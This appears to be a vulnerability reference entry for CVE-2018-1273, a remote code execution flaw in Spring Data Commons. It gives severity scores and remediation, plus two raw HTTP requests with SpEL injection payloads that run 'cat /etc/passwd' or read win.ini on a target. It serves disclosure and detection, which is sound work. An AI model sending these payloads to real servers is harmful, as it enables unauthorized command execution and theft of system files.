| Title | Spring Data Commons - Remote Code Execution |
|---|---|
| Author | dwisiswant0 |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could lead to remote code execution, allowing an attacker to execute arbitrary code on the affected system. |
| Remediation | Apply the latest security patches provided by the vendor to fix the deserialization vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94288 |
| CVE ID | CVE-2018-1273 |
| CWE ID | CWE-20,CWE-94 |
| Tags | cve cve2018 vmware rce spring kev pivotal_software vkev vuln |
Spring Data Commons, versions prior to 1.13 to 1.13.10, 2.0 to 2.0.5, and older unsupported versions, contain a property binder vulnerability caused by improper neutralization of special elements. An unauthenticated remote malicious user (or attacker) can supply specially crafted request parameters against Spring Data REST backed HTTP resources or using Spring Data’s projection-based request payload binding hat can lead to a remote code execution attack.
POST /account HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15
Content-Length: 100
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('cat%20%2Fetc%2Fpasswd')]=zequg
POST /account HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.17
Content-Length: 116
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('type%20C%3A%5C%2FWindows%5C%2Fwin.ini')]=zrdom
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-1273.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-1273.pcap
N/AN/A